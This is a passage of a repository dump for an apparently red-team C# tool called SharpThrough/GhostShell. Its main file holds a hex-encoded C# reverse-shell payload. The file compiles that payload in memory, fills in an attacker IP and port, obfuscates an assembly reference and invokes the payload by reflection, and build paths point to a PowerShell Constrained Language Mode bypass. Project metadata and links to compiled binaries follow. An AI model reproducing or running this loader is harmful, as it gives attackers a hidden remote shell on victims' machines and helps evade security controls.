0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x21, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x2E, 0x49, 0x73, 0x4E, 0x75, 0x6C, 0x6C, 0x4F, 0x72, 0x45, 0x6D, 0x70, 0x74, 0x79, 0x28, 0x65, 0x2E, 0x44, 0x61, 0x74, 0x61, 0x29, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x79, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x2E, 0x41, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x28, 0x65, 0x2E, 0x44, 0x61, 0x74, 0x61, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x2E, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x2E, 0x46, 0x6C, 0x75, 0x73, 0x68, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x61, 0x74, 0x63, 0x68, 0x20, 0x28, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x65, 0x72, 0x72, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x76, 0x6F, 0x69, 0x64, 0x20, 0x43, 0x6D, 0x64, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x44, 0x61, 0x74, 0x61, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x28, 0x6F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x44, 0x61, 0x74, 0x61, 0x52, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x45, 0x76, 0x65, 0x6E, 0x74, 0x41, 0x72, 0x67, 0x73, 0x20, 0x6F, 0x75, 0x74, 0x4C, 0x69, 0x6E, 0x65, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x20, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x65, 0x72, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x21, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x2E, 0x49, 0x73, 0x4E, 0x75, 0x6C, 0x6C, 0x4F, 0x72, 0x45, 0x6D, 0x70, 0x74, 0x79, 0x28, 0x6F, 0x75, 0x74, 0x4C, 0x69, 0x6E, 0x65, 0x2E, 0x44, 0x61, 0x74, 0x61, 0x29, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x79, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x2E, 0x41, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x28, 0x6F, 0x75, 0x74, 0x4C, 0x69, 0x6E, 0x65, 0x2E, 0x44, 0x61, 0x74, 0x61, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x2E, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4C, 0x69, 0x6E, 0x65, 0x28, 0x73, 0x74, 0x72, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x72, 0x2E, 0x46, 0x6C, 0x75, 0x73, 0x68, 0x28, 0x29, 0x3B, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x61, 0x74, 0x63, 0x68, 0x20, 0x28, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x65, 0x72, 0x72, 0x29, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x20, 0x20, 0x20, 0x20, 0x7D, 0xD, 0xA, 0x7D }; 16 | 17 | CompilerParameters compileParameters = new CompilerParameters(); 18 | string currentDirectory = Directory.GetCurrentDirectory(); 19 | compileParameters.GenerateInMemory = true; 20 | compileParameters.TreatWarningsAsErrors = false; 21 | compileParameters.GenerateExecutable = false; 22 | compileParameters.CompilerOptions = "/optimize"; 23 | compileParameters.ReferencedAssemblies.Add("S" + (char)121 + "s" + (char)84 + "e" + "m" + (char)46 + (char)100 + (char)108 + (char)76); 24 | 25 | string code = System.Text.Encoding.UTF8.GetString(byteRS); 26 | string ip = (args!=null && args.Length>0 ) ? args[0] : "10.10.12.48"; 27 | string port = (args != null && args.Length > 1) ? args[1] : "443"; 28 | 29 | code = code.Replace("|IPADDRESS|", ip ); 30 | code = code.Replace("|TCPPORT|", port); 31 | 32 | CSharpCodeProvider cSharpCompiler = new CSharpCodeProvider(); 33 | CompilerResults compileResults = cSharpCompiler.CompileAssemblyFromSource(compileParameters, code); 34 | 35 | if (compileResults.Errors.HasErrors) 36 | { 37 | string text = "comp errors : "; 38 | foreach (CompilerError compileError in compileResults.Errors) 39 | { 40 | text += "rn " + compileError.ToString(); 41 | } 42 | } 43 | 44 | Module module = compileResults.CompiledAssembly.GetModules()[0]; 45 | Type type = null; 46 | MethodInfo methodInfo = null; 47 | if (module != null) 48 | { 49 | type = module.GetType("SharpThrough.RS"); 50 | } 51 | if (type != null) 52 | { 53 | methodInfo = type.GetMethod("MainRS"); 54 | } 55 | if (methodInfo != null) 56 | { 57 | methodInfo.Invoke(null, null); 58 | } 59 | } 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /SharpThrough/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("GhostShell")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("GhostShell")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("30b2e0cf-34dd-4614-a5ca-6578fb684aea")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpThrough/SharpThrough.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {B645C9A8-F313-4AB0-AD93-6415330CC3A1} 8 | Exe 9 | Properties 10 | sharpthrough 11 | sharpthrough 12 | v4.0 13 | 512 14 | true 15 | 16 | 17 | 18 | x64 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | TRACE;DEBUG 24 | prompt 25 | 4 26 | true 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | TRACE;DEBUG 41 | true 42 | full 43 | x64 44 | prompt 45 | MinimumRecommendedRules.ruleset 46 | 47 | 48 | bin\x64\Release\ 49 | TRACE 50 | true 51 | pdbonly 52 | x64 53 | prompt 54 | MinimumRecommendedRules.ruleset 55 | 56 | 57 | true 58 | bin\x86\Debug\ 59 | TRACE;DEBUG 60 | true 61 | full 62 | x86 63 | prompt 64 | MinimumRecommendedRules.ruleset 65 | 66 | 67 | bin\x86\Release\ 68 | TRACE 69 | true 70 | pdbonly 71 | x86 72 | prompt 73 | MinimumRecommendedRules.ruleset 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 100 | -------------------------------------------------------------------------------- /SharpThrough/SharpThrough.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | ShowAllFiles 5 | 6 | -------------------------------------------------------------------------------- /SharpThrough/bin/x64/Debug/System.Net.Http.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/bin/x64/Debug/System.Net.Http.dll -------------------------------------------------------------------------------- /SharpThrough/bin/x64/Debug/sharpthrough.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/bin/x64/Debug/sharpthrough.exe -------------------------------------------------------------------------------- /SharpThrough/bin/x64/Debug/sharpthrough.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpThrough/bin/x64/Debug/sharpthrough.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/bin/x64/Debug/sharpthrough.pdb -------------------------------------------------------------------------------- /SharpThrough/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /SharpThrough/obj/x64/Debug/SharpThrough.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.exe.config 2 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.exe 3 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\sharpthrough.pdb 4 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\System.Net.Http.dll 5 | C:\temp2\temp\PSBypassCLM\SharpThrough\bin\x64\Debug\System.Net.Http.xml 6 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\SharpThrough.csprojResolveAssemblyReference.cache 7 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\sharpthrough.exe 8 | C:\temp2\temp\PSBypassCLM\SharpThrough\obj\x64\Debug\sharpthrough.pdb 9 | -------------------------------------------------------------------------------- /SharpThrough/obj/x64/Debug/SharpThrough.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/obj/x64/Debug/SharpThrough.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /SharpThrough/obj/x64/Debug/sharpthrough.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/obj/x64/Debug/sharpthrough.exe -------------------------------------------------------------------------------- /SharpThrough/obj/x64/Debug/sharpthrough.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/padovah4ck/RedSharp/a295c3b8eb5351d1bdd6d6152647265b22e9163d/SharpThrough/obj/x64/Debug/sharpthrough.pdb --------------------------------------------------------------------------------